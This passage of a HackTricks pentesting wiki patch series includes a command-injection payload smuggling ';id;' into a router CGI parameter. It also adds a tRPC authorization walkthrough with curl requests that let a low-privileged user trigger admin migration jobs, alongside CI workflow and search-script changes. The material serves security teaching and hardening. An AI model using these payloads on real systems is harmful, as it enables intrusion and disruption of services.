concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` + +Hardening and detection: + +- Reject inputs that start with `-` and enforce strict allowlists and types (IP, MAC, SSID, etc.). +- Always pass user data after a literal `--` where supported and never allow extra flags from user-controlled fields. +- Prefer safe APIs (no shell); for wrappers, construct fixed argv templates with no user-controlled flags. +- Look for unauthenticated hits to centralized CGI endpoints (e.g., `/cgi-bin/cstecgi.cgi`) with selector parameters and values beginning with `-`. + ## Brute-Force Detection List @@ -173,5 +211,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) -{{#include ../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} - From 373bbd0af0b3a1fd1ebd64de7e9b260105119257 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 12:59:24 +0000 Subject: [PATCH 06/15] Add content from: How An Authorization Flaw Reveals A Common Security Blind Sp... --- .../pentesting-web/web-api-pentesting.md | 62 ++++++++++++++++++- src/welcome/hacktricks-values-and-faq.md | 3 +- 2 files changed, 60 insertions(+), 5 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 7f613e839..0ff6690ff 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -28,6 +28,64 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th - **Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing. - **Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions. +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls + +Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`. + +- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability. +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): + +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure + // but not for an admin role (authorization). + .input(z.object({ name: z.string() })) + .mutation(async ({ input, ctx }) => { + // Logic to restart a sensitive migration + }), +``` + +Practical exploitation (black-box) + +1) Register a normal account and obtain an authenticated session (cookies/headers). +2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures. + +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ + -H 'Content-Type: application/json' \ + -b '' \ + --data '{"input":{}}' +``` + +3) Invoke privileged actions such as restarting a job: + +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ + -H 'Content-Type: application/json' \ + -b '' \ + --data '{"input":{"name":""}}' +``` + +Impact to assess + +- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics). +- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages. + +Detection heuristics + +- Look for sensitive semantics in procedure names: `*migrations*`, `*admin*`, `*status*`, `*retry*`, `*featureFlags*`, `*tenants*`, `*jobs*`. +- Compare responses across roles: If a basic user can successfully call state-changing admin endpoints, you likely have BFLA/BOLA. +- Check for missing server-side RBAC/ABAC in middleware. Input validation with Zod is orthogonal to authorization. + +Notes for remediation (for dev teams you report to) + +- Introduce an explicit `adminProcedure` or equivalent middleware that enforces role/permission checks on all sensitive routers (`list`/`all`, `status`, `retry`, etc.). +- Add rate limiting and idempotency/locking around maintenance endpoints to limit blast radius. + ### **Tools and Resources for API Pentesting** - [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs. @@ -53,8 +111,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ## References - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} - From 432252d95b83639ffae7e923f1a4f1b1fc51a4aa Mon Sep 17 00:00:00 2001 From: roberto-miopalmo Date: Thu, 2 Oct 2025 15:41:16 +0200 Subject: [PATCH 07/15] Update README.md sudo<1.8.28 is vunerable : https://ubuntu.com/security/CVE-2019-14287 --- src/linux-hardening/privilege-escalation/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d820428c9..bfcee2d9c 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -83,7 +83,7 @@ You can check if the sudo version is vulnerable using this grep. sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 From @sickrov From 0683e0376deef64e877595362ddc6868a1d06e2c Mon Sep 17 00:00:00 2001 From: carlospolop Date: Sat, 4 Oct 2025 01:58:50 +0200 Subject: [PATCH 08/15] f --- .github/workflows/build_master.yml | 63 ++--- .github/workflows/translate_all.yml | 90 +++++-- theme/ht_searcher.js | 361 +++++++++++++++------------- 3 files changed, 311 insertions(+), 203 deletions(-) diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml index 94f5b5b94..de7576627 100644 --- a/.github/workflows/build_master.yml +++ b/.github/workflows/build_master.yml @@ -43,7 +43,7 @@ jobs: && sudo apt update \ && sudo apt install gh -y - - name: Publish search index release asset + - name: Push search index to hacktricks-searchindex repo shell: bash env: PAT_TOKEN: ${{ secrets.PAT_TOKEN }} @@ -51,43 +51,52 @@ jobs: set -euo pipefail ASSET="book/searchindex.js" - TAG="searchindex-en" - TITLE="Search Index (en)" + TARGET_REPO="HackTricks-wiki/hacktricks-searchindex" + FILENAME="searchindex-en.js" if [ ! -f "$ASSET" ]; then echo "Expected $ASSET to exist after build" >&2 exit 1 fi - TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}" + TOKEN="${PAT_TOKEN}" if [ -z "$TOKEN" ]; then - echo "No token available for GitHub CLI" >&2 + echo "No PAT_TOKEN available" >&2 exit 1 fi - export GH_TOKEN="$TOKEN" - # Delete the release if it exists - echo "Checking if release $TAG exists..." - if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then - echo "Release $TAG already exists, deleting it..." - gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || { - echo "Failed to delete release, trying without cleanup-tag..." - gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || { - echo "Warning: Could not delete existing release, will try to recreate..." - } - } - sleep 2 # Give GitHub API a moment to process the deletion - else - echo "Release $TAG does not exist, proceeding with creation..." - fi + # Clone the searchindex repo + git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo - # Create new release (with force flag to overwrite if deletion failed) - gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || { - echo "Failed to create release, trying with force flag..." - gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true - sleep 2 - gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" - } + cd /tmp/searchindex-repo + git config user.name "GitHub Actions" + git config user.email "github-actions@github.com" + + # Compress the searchindex file + cd "${GITHUB_WORKSPACE}" + gzip -9 -k -f "$ASSET" + + # Show compression stats + ORIGINAL_SIZE=$(wc -c < "$ASSET") + COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz") + RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}") + echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)" + + # Copy the .gz version to the searchindex repo + cd /tmp/searchindex-repo + cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz" + + # Stage the updated file + git add "${FILENAME}.gz" + + # Commit with timestamp if there are changes + TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC") + git commit -m "Update searchindex files - ${TIMESTAMP}" || echo "No changes to commit" + + # Push to master branch + git push origin master + + echo "Successfully pushed searchindex files" # Login in AWs diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index b0444f9a7..59b1470c3 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -129,7 +129,7 @@ jobs: git pull MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1) - - name: Publish search index release asset + - name: Push search index to hacktricks-searchindex repo shell: bash env: PAT_TOKEN: ${{ secrets.PAT_TOKEN }} @@ -137,31 +137,93 @@ jobs: set -euo pipefail ASSET="book/searchindex.js" - TAG="searchindex-${BRANCH}" - TITLE="Search Index (${BRANCH})" + TARGET_REPO="HackTricks-wiki/hacktricks-searchindex" + FILENAME="searchindex-${BRANCH}.js" if [ ! -f "$ASSET" ]; then echo "Expected $ASSET to exist after build" >&2 exit 1 fi - TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}" + TOKEN="${PAT_TOKEN}" if [ -z "$TOKEN" ]; then - echo "No token available for GitHub CLI" >&2 + echo "No PAT_TOKEN available" >&2 exit 1 fi - export GH_TOKEN="$TOKEN" - # Delete the release if it exists - if gh release view "$TAG" >/dev/null 2>&1; then - echo "Release $TAG already exists, deleting it..." - gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" - fi + # Clone the searchindex repo + git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo - # Create new release - gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY" + # Compress the searchindex file + gzip -9 -k -f "$ASSET" + + # Show compression stats + ORIGINAL_SIZE=$(wc -c < "$ASSET") + COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz") + RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}") + echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)" + + # Copy ONLY the .gz version to the searchindex repo (no uncompressed .js) + cp "${ASSET}.gz" "/tmp/searchindex-repo/${FILENAME}.gz" + + # Commit and push with retry logic + cd /tmp/searchindex-repo + git config user.name "GitHub Actions" + git config user.email "github-actions@github.com" + git add "${FILENAME}.gz" + + if git diff --staged --quiet; then + echo "No changes to commit" + else + git commit -m "Update ${FILENAME} from hacktricks-cloud build" + + # Retry push up to 20 times with pull --rebase between attempts + MAX_RETRIES=20 + RETRY_COUNT=0 + while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do + if git push origin master; then + echo "Successfully pushed on attempt $((RETRY_COUNT + 1))" + break + else + RETRY_COUNT=$((RETRY_COUNT + 1)) + if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then + echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..." + + # Try normal rebase first + if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then + echo "Rebase successful, retrying push..." + else + # If rebase fails due to divergent histories (orphan branch reset), re-clone + if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then + echo "Detected history rewrite, re-cloning repository..." + cd /tmp + rm -rf searchindex-repo + git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo + cd searchindex-repo + git config user.name "GitHub Actions" + git config user.email "github-actions@github.com" + + # Re-copy ONLY the .gz version (no uncompressed .js) + cp "${ASSET}.gz" "${FILENAME}.gz" + + git add "${FILENAME}.gz" + git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build" + echo "Re-cloned and re-committed, will retry push..." + else + echo "Rebase failed for unknown reason, retrying anyway..." + fi + fi + + sleep 1 + else + echo "Failed to push after $MAX_RETRIES attempts" + exit 1 + fi + fi + done + fi - # Login in AWs + # Login in AWS - name: Configure AWS credentials using OIDC uses: aws-actions/configure-aws-credentials@v3 with: diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 6b105f263..9548e9173 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -6,34 +6,63 @@ */ (() => { - "use strict"; + "use strict"; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — decompress gzip data */ + async function decompressGzip(arrayBuffer){ + if(typeof DecompressionStream !== 'undefined'){ + /* Modern browsers: use native DecompressionStream */ + const stream = new Response(arrayBuffer).body.pipeThrough(new DecompressionStream('gzip')); + const decompressed = await new Response(stream).arrayBuffer(); + return new TextDecoder().decode(decompressed); + } else { + /* Fallback: use pako library */ + if(typeof pako === 'undefined'){ + try { importScripts('https://cdn.jsdelivr.net/npm/pako@2.1.0/dist/pako.min.js'); } + catch(e){ throw new Error('pako library required for decompression: '+e); } + } + const uint8Array = new Uint8Array(arrayBuffer); + const decompressed = pako.ungzip(uint8Array, {to: 'string'}); + return decompressed; + } + } - /* ───────────── 0. helpers (main thread) ───────────── */ - const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; - - /* ───────────── 1. Web‑Worker code ─────────────────── */ - const workerCode = ` - self.window = self; - self.search = self.search || {}; - const abs = p => location.origin + p; - - /* 1 — elasticlunr */ - try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } - catch { importScripts(abs('/elasticlunr.min.js')); } - - /* 2 — load a single index (remote → local) */ + /* 3 — load a single index (remote → local) */ async function loadIndex(remote, local, isCloud=false){ let rawLoaded = false; if(remote){ + /* Try ONLY compressed version from GitHub (remote already includes .js.gz) */ try { const r = await fetch(remote,{mode:'cors'}); - if (!r.ok) throw new Error('HTTP '+r.status); - importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); - rawLoaded = true; - } catch(e){ console.warn('remote',remote,'failed →',e); } + if (r.ok) { + const compressed = await r.arrayBuffer(); + const text = await decompressGzip(compressed); + importScripts(URL.createObjectURL(new Blob([text],{type:'application/javascript'}))); + rawLoaded = true; + console.log('Loaded compressed from GitHub:',remote); + } + } catch(e){ console.warn('compressed GitHub',remote,'failed →',e); } } + /* If remote (GitHub) failed, fall back to local uncompressed file */ if(!rawLoaded && local){ - try { importScripts(abs(local)); rawLoaded = true; } + try { + importScripts(abs(local)); + rawLoaded = true; + console.log('Loaded local fallback:',local); + } catch(e){ console.error('local',local,'failed →',e); } } if(!rawLoaded) return null; /* give up on this index */ @@ -61,151 +90,159 @@ return local ? loadIndex(null, local, isCloud) : null; } + + let built = []; + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = async ({data}) => { + if(data.type === 'init'){ + const lang = data.lang || 'en'; + const searchindexBase = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-searchindex/master'; - (async () => { - const htmlLang = (document.documentElement.lang || 'en').toLowerCase(); - const lang = htmlLang.split('-')[0]; - const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; - const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; + /* Remote sources are .js.gz (compressed), local fallback is .js (uncompressed) */ + const mainFilenames = Array.from(new Set(['searchindex-' + lang + '.js.gz', 'searchindex-en.js.gz'])); + const cloudFilenames = Array.from(new Set(['searchindex-cloud-' + lang + '.js.gz', 'searchindex-cloud-en.js.gz'])); - const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const MAIN_REMOTE_SOURCES = mainFilenames.map(function(filename) { return searchindexBase + '/' + filename; }); + const CLOUD_REMOTE_SOURCES = cloudFilenames.map(function(filename) { return searchindexBase + '/' + filename; }); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); - - const indices = []; - const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); - const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud); - - if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } - - /* build index objects */ - const built = indices.map(d => ({ - idx : elasticlunr.Index.load(d.json), - urls: d.urls, - cloud: d.cloud, - base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' - })); - - postMessage({ready:true}); - const MAX = 30, opts = {bool:'AND', expand:true}; - - self.onmessage = ({data:q}) => { - if(!q){ postMessage([]); return; } - - const all = []; - for(const s of built){ - const res = s.idx.search(q,opts); - if(!res.length) continue; - const max = res[0].score || 1; - res.forEach(r => { - const doc = s.idx.documentStore.getDoc(r.ref); - all.push({ - norm : r.score / max, - title: doc.title, - body : doc.body, - breadcrumbs: doc.breadcrumbs, - url : s.base + s.urls[r.ref], - cloud: s.cloud + const indices = []; + const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex.js', true ); if(cloud) indices.push(cloud); + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + return; + } + + const q = data.query || data; + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud + }); }); - }); - } - all.sort((a,b)=>b.norm-a.norm); - postMessage(all.slice(0,MAX)); - }; - })(); - `; + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 2.1. initialize worker with language ───────────── */ + const htmlLang = (document.documentElement.lang || 'en').toLowerCase(); + const lang = htmlLang.split('-')[0]; + worker.postMessage({type: 'init', lang: lang}); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + icon.setAttribute('title','Search is loading, please wait...'); - /* ───────────── 2. spawn worker ───────────── */ - const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); - - /* ───────────── 3. DOM refs ─────────────── */ - const wrap = document.getElementById('search-wrapper'); - const bar = document.getElementById('searchbar'); - const list = document.getElementById('searchresults'); - const listOut = document.getElementById('searchresults-outer'); - const header = document.getElementById('searchresults-header'); - const icon = document.getElementById('search-toggle'); - - const READY_ICON = icon.innerHTML; - icon.textContent = '⏳'; - icon.setAttribute('aria-label','Loading search …'); - icon.setAttribute('title','Search is loading, please wait...'); - - const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; - let debounce, teaserCount=0; - - /* ───────────── helpers (teaser, metric) ───────────── */ - const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); - const URL_MARK='highlight'; - function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} - - function makeTeaser(body,terms){ - const stem=w=>elasticlunr.stemmer(w.toLowerCase()); - const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; - const W=[],sents=body.toLowerCase().split('. '); - let i=0,v=W_F,found=false; - sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); - if(!W.length) return body; - const win=Math.min(W.length,WIN); - const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; - for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; - const best=found?sums.lastIndexOf(Math.max(...sums)):0; - const out=[]; i=W[best][2]; - for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} - return out.join(''); - } - - function format(d,terms){ - const teaser=makeTeaser(escapeHTML(d.body),terms); - teaserCount++; - const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); - const parts=d.url.split('#'); if(parts.length===1) parts.push(''); - const abs=d.url.startsWith('http'); - const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; - const style=d.cloud?" style=\"color:#1e88e5\"":""; - const isCloud=d.cloud?" [Cloud]":" [Book]"; - return ``+ - `${d.breadcrumbs}${isCloud}${teaser}`; - } - - /* ───────────── UI control ───────────── */ - function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} - function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} - - icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); - - document.addEventListener('keydown',e=>{ - if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; - const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); - if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} - else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} - else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} - }); - - bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); - - /* ───────────── worker messages ───────────── */ - worker.onmessage = ({data}) => { - if(data && data.ready!==undefined){ - if(data.ready){ - icon.innerHTML=READY_ICON; - icon.setAttribute('aria-label','Open search (S)'); - icon.removeAttribute('title'); - } - else { - icon.textContent='❌'; - icon.setAttribute('aria-label','Search unavailable'); - icon.setAttribute('title','Search is unavailable'); - } - return; + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); } - const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); - header.textContent=metric(docs.length,q); - clear(list); - docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); - listOut.classList.toggle('hidden',!docs.length); - }; -})(); - + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else 